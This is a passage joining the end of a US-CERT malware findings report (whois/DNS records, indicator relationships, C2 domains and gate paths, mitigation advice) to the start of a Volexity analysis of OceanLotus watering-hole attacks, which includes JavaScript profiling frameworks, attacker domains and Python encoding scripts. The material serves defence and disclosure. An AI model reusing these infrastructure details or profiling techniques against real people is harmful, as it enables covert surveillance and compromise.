US-CERT MIFR-10105049-Update2 54 of 63 mnt-by: THEHOST-MNT mnt-routes: THEHOST-MNT mnt-domains: THEHOST-MNT created: 2012-04-10T13:34:51Z last-modified: 2016-04-14T10:45:42Z source: RIPE sponsoring-org: ORG-NL64-RIPE organisation: ORG-FSOV1-RIPE org-name: FOP Sedinkin Olexandr Valeriyovuch org-type: other address: 08154, Ukraine, Boyarka, Belogorodskaya str., 11a e-mail: info@thehost.ua abuse-c: AR19055-RIPE abuse-mailbox: abuse@thehost.ua remarks: ----------------------------------------------------remarks: Hosting Provider TheHost remarks: ----------------------------------------------------remarks: For abuse/spam issues contact abuse@thehost.ua remarks: For general/sales questions contact info@thehost.ua remarks: For technical support contact support@thehost.ua remarks: ----------------------------------------------------phone: +380 44 222-9-888 phone: +7 499 403-36-28 fax-no: +380 44 222-9-888 ext. 4 admin-c: SA7501-RIPE mnt-ref: THEHOST-MNT mnt-by: THEHOST-MNT created: 2011-03-01T10:48:14Z last-modified: 2015-11-29T21:16:15Z source: RIPE person: Sedinkin Alexander address: Ukraine, Boyarka, Belogorodskaya str., 11a phone: +380 44 222-9-888 ext. 213 address: UKRAINE nic-hdl: SA7501-RIPE mnt-by: THEHOST-MNT created: 2011-03-01T10:36:18Z last-modified: 2015-11-29T21:15:42Z source: RIPE % Information related to '176.114.0.0/22AS56485' route: 176.114.0.0/22 descr: FOP Sedinkin Olexandr Valeriyovuch origin: AS56485 mnt-by: THEHOST-MNT created: 2014-04-26T22:55:50Z last-modified: 2014-04-26T22:58:13Z source: RIPE % This query was served by the RIPE Database Query Service version 1.88 (ANGUS) DNS records DNS query for 120.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live s12.thehost.com.ua IN A 176.114.0.120 3600s (01:00:00) thehost.com.ua IN SOA server: ns1.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2012093399 refresh: 10800 retry: 3600 expire: 6048000 minimum ttl: 86400 3600s (01:00:00) thehost.com.ua IN NS ns3.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN A 91.234.33.3 3600s (01:00:00) thehost.com.ua IN TXT yandex-verification: 7984d982d76e47fa 3600s thehost.com.ua IN MX preference: exchange: aspmx2.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: exchange: alt2.aspmx.l.google.com US-CERT MIFR-10105049-Update2 (01:00:00) 55 of 63 3600s (01:00:00) thehost.com.ua IN NS ns4.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN TXT v=spf1 ip4:91.234.32.9 ip4:91.234.35.135 ip4:91.234.35.9 include:_spf.google.com ~all thehost.com.ua IN MX preference: exchange: aspmx3.googlemail.com 3600s (01:00:00) thehost.com.ua IN NS ns1.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN MX preference: exchange: aspmx5.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: exchange: alt1.aspmx.l.google.com 3600s (01:00:00) thehost.com.ua IN NS ns2.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN MX preference: exchange: aspmx4.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: exchange: aspmx.l.google.com 3600s (01:00:00) 120.0.114.176.in-addr.arpa IN PTR s12.thehost.com.ua 3557s (00:59:17) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2014044192 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 3600s (01:00:00) Relationships (I) 176.114.0.120 Characterized_By (W) Address lookup (I) 176.114.0.120 Related_To (D) editprod.waterfilter.in.ua 176.114.0.157 mymodule.waterfilter.in.ua/system/logs/xtool.exe Whois Address lookup canonical name waterfilter.in.ua. aliases addresses 176.114.0.157 Domain Whois record Queried whois.ua with "waterfilter.in.ua"... % request from 209.200.105.145 % This is the Ukrainian Whois query server #F. % The Whois is subject to Terms of use % See https[:]//hostmaster.ua/services/ % The object shown below is NOT in the UANIC database. % It has been obtained by querying a remote server: % (whois.in.ua) at port 43. % REDIRECT BEGIN % In.UA whois server. (whois.in.ua) US-CERT MIFR-10105049-Update2 56 of 63 % All questions regarding this service please send to help@whois.in.ua % To search for domains and In.UA maintainers using the web, visit http[:]//whois.in.ua domain: waterfilter.in.ua descr: waterfilter.in.ua admin-c: THST-UANIC tech-c: THST-UANIC status: OK-UNTIL 20170310000000 nserver: ns1.thehost.com.ua nserver: ns2.thehost.com.ua nserver: ns3.thehost.com.ua mnt-by: THEHOST-MNT-INUA mnt-lower: THEHOST-MNT-INUA changed: hostmaster@thehost.com.ua 20160224094245 source: INUA % REDIRECT END Network Whois record Queried whois.ripe.net with "-B 176.114.0.157"... % Information related to '176.114.0.0 - 176.114.15.255' % Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua' inetnum: 176.114.0.0 - 176.114.15.255 netname: THEHOST-NETWORK-3 country: org: ORG-FSOV1-RIPE admin-c: SA7501-RIPE tech-c: SA7501-RIPE status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: THEHOST-MNT mnt-routes: THEHOST-MNT mnt-domains: THEHOST-MNT created: 2012-04-10T13:34:51Z last-modified: 2016-04-14T10:45:42Z source: RIPE sponsoring-org: ORG-NL64-RIPE organisation: ORG-FSOV1-RIPE org-name: FOP Sedinkin Olexandr Valeriyovuch org-type: other address: 08154, Ukraine, Boyarka, Belogorodskaya str., 11a e-mail: info@thehost.ua abuse-c: AR19055-RIPE abuse-mailbox: abuse@thehost.ua remarks: ----------------------------------------------------remarks: Hosting Provider TheHost remarks: ----------------------------------------------------remarks: For abuse/spam issues contact abuse@thehost.ua remarks: For general/sales questions contact info@thehost.ua remarks: For technical support contact support@thehost.ua remarks: ----------------------------------------------------phone: +380 44 222-9-888 phone: +7 499 403-36-28 fax-no: +380 44 222-9-888 ext. 4 admin-c: SA7501-RIPE mnt-ref: THEHOST-MNT mnt-by: THEHOST-MNT created: 2011-03-01T10:48:14Z last-modified: 2015-11-29T21:16:15Z source: RIPE person: address: phone: address: nic-hdl: Sedinkin Alexander Ukraine, Boyarka, Belogorodskaya str., 11a +380 44 222-9-888 ext. 213 UKRAINE SA7501-RIPE US-CERT MIFR-10105049-Update2 57 of 63 mnt-by: THEHOST-MNT created: 2011-03-01T10:36:18Z last-modified: 2015-11-29T21:15:42Z source: RIPE % Information related to '176.114.0.0/22AS56485' route: 176.114.0.0/22 descr: FOP Sedinkin Olexandr Valeriyovuch origin: AS56485 mnt-by: THEHOST-MNT created: 2014-04-26T22:55:50Z last-modified: 2014-04-26T22:58:13Z source: RIPE % This query was served by the RIPE Database Query Service version 1.88 (HEREFORD) DNS records DNS query for 157.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2015031414 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN TXT v=spf1 ip4:176.114.0.120 a mx ~all3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) 157.0.114.176.in-addr.arpa IN PTR waterfilter.in.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2014044197 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) -- end -Relationships (I) 176.114.0.157 Characterized_By (W) Address lookup (I) 176.114.0.157 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Relationship Summary 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) US-CERT MIFR-10105049-Update2 Related_To (S) Interface for PAS v.3.1.0 58 of 63 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) (S) Interface for PAS v.3.1.0 Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (S) Interface for PAS v.3.0.10 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) (S) Interface for PAS v.3.0.10 Related_To 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Related_To 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) Connected_To (D) private.directinvesting.com (D) private.directinvesting.com Characterized_By (W) Address lookup (D) private.directinvesting.com Connected_From 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (I) 204.12.12.40 (I) 204.12.12.40 Characterized_By (W) Address lookup (I) 204.12.12.40 Related_To (D) private.directinvesting.com 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) Connected_To (D) cderlearn.com 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) Characterized_By (S) digital_cert_steal.bmp (D) cderlearn.com Characterized_By (W) Address lookup (D) cderlearn.com Connected_From 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (D) cderlearn.com Related_To (H) POST /search.cfm HTT US-CERT MIFR-10105049-Update2 59 of 63 (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (I) 209.236.67.159 (I) 209.236.67.159 Characterized_By (W) Address lookup (I) 209.236.67.159 Related_To (D) cderlearn.com (S) digital_cert_steal.bmp Characterizes 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (W) Address lookup Characterizes (D) private.directinvesting.com (W) Address lookup Characterizes (D) cderlearn.com (W) Address lookup Characterizes (D) editprod.waterfilter.in.ua (W) Address lookup Characterizes (D) insta.reduct.ru (W) Address lookup Characterizes (D) one2shoppee.com (W) Address lookup Characterizes (D) ritsoperrol.ru (W) Address lookup Characterizes (D) littjohnwilhap.ru (W) Address lookup Characterizes (D) wilcarobbe.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) POST /search.cfm HTT Related_To (D) cderlearn.com (H) POST /search.cfm HTT Related_To (D) cderlearn.com (H) POST /zapoy/gate.php Related_To (D) wilcarobbe.com (H) POST /zapoy/gate.php Related_To (D) littjohnwilhap.ru (P) 80 Related_To (D) wilcarobbe.com (P) 80 Related_To (D) littjohnwilhap.ru (P) 80 Related_To (D) ritsoperrol.ru (H) POST /zapoy/gate.php Related_To (D) ritsoperrol.ru (P) 80 Related_To (D) one2shoppee.com (P) 80 Related_To (D) insta.reduct.ru (P) 80 Related_To (D) editprod.waterfilter.in.ua (W) Address lookup Characterizes (I) 146.185.161.126 (W) Address lookup Characterizes (I) 176.114.0.120 (W) Address lookup Characterizes (I) 209.236.67.159 (W) Address lookup Characterizes (I) 204.12.12.40 ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) Dropped 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) Characterized_By ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e Characterizes ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) (P) 80 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe (W) Address lookup Characterizes (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe (W) Address lookup Characterizes (I) 176.114.0.157 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Characterized_By (S) searching_reg_pop3.bmp 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) editprod.waterfilter.in.ua 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) insta.reduct.ru US-CERT MIFR-10105049-Update2 60 of 63 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) one2shoppee.com 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) ritsoperrol.ru 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) littjohnwilhap.ru 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) wilcarobbe.com 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Dropped_By ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) (S) searching_reg_pop3.bmp Characterizes 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Characterized_By (W) Address lookup (D) wilcarobbe.com Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Related_To (H) POST /zapoy/gate.php (D) wilcarobbe.com Related_To (P) 80 (D) one2shoppee.com Characterized_By (W) Address lookup (D) one2shoppee.com Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) one2shoppee.com Related_To (P) 80 (D) ritsoperrol.ru Characterized_By (W) Address lookup (D) ritsoperrol.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) ritsoperrol.ru Related_To (P) 80 (D) ritsoperrol.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Characterized_By (W) Address lookup (D) littjohnwilhap.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) littjohnwilhap.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Related_To (P) 80 (D) insta.reduct.ru Characterized_By (W) Address lookup (D) insta.reduct.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) insta.reduct.ru Related_To (P) 80 (D) insta.reduct.ru Related_To (I) 146.185.161.126 (I) 146.185.161.126 Characterized_By (W) Address lookup (I) 146.185.161.126 Related_To (D) insta.reduct.ru (D) editprod.waterfilter.in.ua Characterized_By (W) Address lookup (D) editprod.waterfilter.in.ua Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) editprod.waterfilter.in.ua Related_To (P) 80 (D) editprod.waterfilter.in.ua Related_To (I) 176.114.0.120 (I) 176.114.0.120 Characterized_By (W) Address lookup (I) 176.114.0.120 Related_To (D) editprod.waterfilter.in.ua US-CERT MIFR-10105049-Update2 61 of 63 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (P) 80 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Characterized_By (W) Address lookup (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (I) 176.114.0.157 (I) 176.114.0.157 Characterized_By (W) Address lookup (I) 176.114.0.157 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Mitigation Recommendations US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection: private.directinvesting.com cderlearn.com 204.12.12.40 209.236.67.159 176.114.0.120 editprod.waterfilter.in.ua insta.reduct.ru 146.185.161.126 one2shoppee.com ritsoperrol.ru littjohnwilhap.ru wilcarobbe.com mymodule.waterfilter.in.ua/system/logs/xtool.exe 176.114.0.157 US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organization's systems: Maintain up-to-date antivirus signatures and engines. Restrict users' ability (permissions) to install and run unwanted software applications. Enforce a strong password policy and implement regular password changes. Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. Keep operating system patches up-to-date. Enable a personal firewall on agency workstations. Disable unnecessary services on agency workstations and servers. Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header). Monitor users' web browsing habits; restrict access to sites with unfavorable content. Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.). Scan all software downloaded from the Internet prior to executing. Maintain situational awareness of the latest threats; implement appropriate ACLs. Contact Information 1-888-282-0870 soc@us-cert.gov (UNCLASS) us-cert@dhs.sgov.gov (SIPRNET) us-cert@dhs.ic.gov (JWICS) US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://forms.us-cert.gov/ncsd-feedback/ Document FAQ What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis. Can I distribute this to other people? This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. US-CERT MIFR-10105049-Update2 62 of 63 Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or soc@us-cert.gov. Can I submit malware to US-CERT? US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, poss ble malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.uscert.gov. Malware samples can be submitted via https://malware.us-cert.gov. Alternative submission methods are available by special request. US-CERT MIFR-10105049-Update2 63 of 63 OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-themedia-human-rights-and-civil-society/ November 6, 2017 by Dave Lassalle, Sean Koessel, Steven Adair In May 2017, Volexity identified and started tracking a very sophisticated and extremely widespread mass digital surveillance and attack campaign targeting several Asian nations, the ASEAN organization, and hundreds of individuals and organizations tied to media, human rights and civil society causes. These attacks are being conducted through numerous strategically compromised websites and have occurred over several high-profile ASEAN summits. Volexity has tied this attack campaign to an advanced persistent threat (APT) group first identified as OceanLotus by SkyEye Labs in 2015. OceanLotus, also known as APT32, is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics, techniques, and procedures (TTPs). Volexity works closely with several human rights and civil society organizations. A few of these organizations have specifically been targeted by OceanLotus since early 2015. As a result, Volexity has been able to directly observe and investigate various attack campaigns. This report is based on a very targeted attack that Volexity observed and the research that followed. 1/20 Key highlights of this most recent and ongoing attack campaign by the OceanLotus group are as follows: Massive digital profiling and information collection campaign via strategically compromised websites Over 100 websites of individuals and organizations tied to Government, Military, Human Rights, Civil Society, Media, State Oil Exploration, and more used to launch attacks around the globe Use of whitelists to target only specific individuals and organizations Custom Google Apps designed for gaining access to victim Gmail accounts to steal e-mail and contacts Strategic and targeted JavaScript delivery to modify the view of compromised websites to facilitate social engineering of visitors to install malware or provide access to e-mail accounts Large distributed attack infrastructure spanning numerous hosting providers and countries Numerous attacker created domains designed to mimic legitimate online services and organizations such as AddThis, Disqus, Akamai, Baidu, Cloudflare, Facebook, Google, and others Heavy uses of Let s Encrypt SSL/TLS certificates Use of multiple backdoors, such as Cobalt Strike and others, believed to be developed and solely used by OceanLotus Volexity believes the size and scale of this attack campaign have only previously been rivaled by a Russian APT group commonly referred to as Turla and documented in a report from Symantec called The Waterbug attack group. The OceanLotus threat group has successfully operated, largely unnoticed, through several high-profile websites since late 2016. Volexity has observed the following operating pattern for the OceanLotus group: Compromise website of strategic importance (e.g. websites visitors have a higher likelihood to be targets of interest) Add one or more webshell backdoors to victim websites to maintain persistence Webshell used to add JavaScript developed by OceanLotus into the website The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website s visitors Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user s system or e-mail accounts Volexity has also noted that some of the organizations with compromised websites have also been targeted with spear phishing campaigns that attempt to install backdoors on the target systems. Spear phishing activity and detailed malware infrastructure will be described in a follow on report on OceanLotus activity. Compromised Sites 2/20 Volexity has been able to identify a staggeringly large number of websites that have been strategically compromised by the OceanLotus attackers. The number of compromised websites exceeds 100. The overwhelming majority of the websites that have been compromised belong to Vietnamese individuals and organizations that are critical of the Vietnamese Government. The remainder of the compromised websites are tied to one of three countries that share a land border with Vietnam or the Philippines. Unlike with the Vietnamese victims, in most cases these websites are tied to state owned or affiliated organizations. Vietnam Volexity has chosen not to list the Vietnamese websites that have been compromised, as the quantity is exceedingly large (over 80) and many of them are tied to individuals or very small organizations. However, the list below characterizes the types of websites that have been victimized to facilitate this ongoing campaign. Human Rights Civil Society News/Media (English and Vietnamese Language) Individual Bloggers Religion ASEAN Organization Website Compromised Page Association of Southeast Asian Nations (ASEAN) asean.org /modules/aseanmail/js/wp-mailinglist.js /modules/wordpresspopup/inc/external/wpmu-lib/js/wpmuui.3.min.js ASEAN Trade Repository atr.asean.org Main Index ASEAN Investment investasean.asean.org Main Index Organization Website Compromised Page Ministry of Foreign Affairs www.mfa.gov.kh /jwplayer.js Ministry of Environment www.moe.gov.kh /other/js/jquery/jquery.js Ministry of Civil Service www.mcs.gov.kh Main Index National Police www.police.gov.kh /wp-includes/js/jquery/jquery.js?ver=1.12.4 Ministry of National AssemblySenate Relations and Inspection www.monasri.gov.kh wtemplates/monasri_template/js/menu/mega.js Ministry of Social Affairs, Veterans, and Youth Rehabilitation www.mosvy.gov.kh /public/js/default.js National Election Committee www.necelect.org.kh Main Index Cambodia 3/20 China Organization Website Compromised Page BDStar Information Service Co. bdstarlbs.com Main Index BDStar Navigation Co. www.navchina.com Main Index China National United Oil Corporation www.chinaoil.com.cn /chinaoil/xhtml/js/jquery-1.7.2.min.js China Oilfield Services Limited Withheld Withheld China National Offshore Oil Corporation Withheld Withheld Laos Organization Website Compromised Page Bokeo Province bokeo.gov.la Main Index Ministry of Public Works and Transport www.mpwt.gov.la /media/system/js/mootools-core.js Philippines Organization Website Compromised Page Armed Forces of the Philippines www.afp.mil.ph /modules/mod_js_flexslider/assets/js/jquery.easing.js Office of the President op-proper.gov.ph Main Index JavaScript Tracking, Profiling, and Delivery Frameworks The compromised websites are being leveraged to deliver malicious JavaScript designed to profile and fingerprint a user on each visit. Volexity found that OceanLotus had developed two different JavaScript frameworks to accomplish their profiling and targeting activities. For the purposes of this blog, we will call them Framework A and Framework B. With few exceptions, the compromised websites would only have code loading either Framework A or Framework B. Each of the hostnames and IPs were also tied to one of the two frameworks, with none of them serving up both. The following sections will provide some detail on the two frameworks and their multiple scripting components. Framework A Framework A is found on a limited number of victim sites. Initial URLs for access to Framework A are typically formatted similar to the following: cloudflare-api[.]com/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=72580 Volexity believes the v= value is unique and serves as a victim site identifier, which may not be necessary given the data the script sends along as detailed below. The above script is retrieved 4/20 following a visit to asean.org. The following code has been appended to legitimate JavaScript loaded by the ASEAN website: Framework A, Script 1 Host Tracking The first script delivered contains several support functions such as an MD5 function, a base64 decoder, and functions for loading additional data. The goal of this script appears to be defining everything needed to track a host across different requests. This script defines a section of variables used in other parts of the code. The host based ones are obtained from the User-Agent in the initial request. Then it will load a second JavaScript file: The h1 and h2 values in the request are MD5 hashes of some information about the host making the request. The first hash, h1, is the MD5 hash of various pieces of information collected from the browser and concatenated together. 5/20 The second hash, h2, is also an MD5 hash, but the values concatenated are the screen height and width, timezone, plugins, MIME type, and language information. The encrypt function simply iterates over the passed string and key string and adds the ASCII values at each position. Python scripts for encrypting and decrypting are as follows. Encrypt: #!/usr/bin/env python import base64 import sys b64_data = base64.b64encode(sys.argv[2]) key = sys.argv[1] enc_data = "" for i, x in enumerate(b64_data): k = key[i % len(key) -1] enc_data += chr(ord(x) + ord(k)) print print base64.b64encode(enc_data) print 6/20 Decrypt: #!/usr/bin/env python import base64 import sys key = sys.argv[1] b64_data = sys.argv[2] enc_data = base64.b64decode(b64_data) dec_data = "" for i, x in enumerate(enc_data): k = key[i % len(key) -1] dec_data += chr(ord(x) - ord(k)) print print base64.b64decode(dec_data) print Framework A, Script 2 Profiling The second script returned starts by defining a browser_hash variable. This is composed of h1 and the first 10 characters of h2, separated by . This script then sends three GET requests, each with a d parameter in the query string that contains some encrypted and base64 encoded data. One request sends Browser Plugins. The info is collected in the following part of the code: Another request sends Extended Browser Info. This info is collected as follows: The final request sends WebRTC info to obtain the host IP address. 7/20 Framework B Framework B is found on the vast majority of sites. Initial URLs for access to Framework B are simply references to JavaScript (.js) files on OceanLotus controlled sites. Volexity has found that the URLs from Framework B do not actually matter, so long as the file extension ends in .js and a referrer is sent with the request. The JavaScript will be sent back regardless of the file or folder requested as long as it meets these two criteria. The main ASEAN website is one of the few places that contain both Framework A and Framework B. The following code has also been appended to legitimate JavaScript loaded by the ASEAN website: This script will result in the loading of JavaScript from the following URL: http://ad.jqueryclick[.]com/assets/adv.js Framework B, Script 1 Host Tracking The second framework collects similar information, but handles host tracking differently. The initial script that is delivered varies based on the host OS as determined from the User-Agent in the request. When the script is loaded, it first makes a GET request to https://health-rayid[.]com/robot.txt. This returns a UUID that is sent in subsequent requests as either zuuid or client_zuuid.It is also saved in localStorage for the compromised site under a key of x00Sync. The script then makes two GET requests. Request 1: GET /api//adFeedback.js The base64 data decodes to a JSON string containing information for tracking the host. For 8/20 example, the data below, where zuuid is the UUID returned from health-ray-id.com. {"uuid":"62d096b35e82547b6a12607c2820f8e0","zuuid":"ca3a8d02-a0f5-4686-9f6bcab4a17a9e2b","hash":""} The uuid value (also seen as client_uuid in later requests) is also generated by the script and is stored in a cookie named ___APISID for the compromised domain. It is generated using the fingerprintjs2 library, which creates a hash based on browser information. This is another method for tracking users across requests. This library and several other legitimate JavaScript libraries (including the jQuery core library and others for reading/storing cookies, collecting 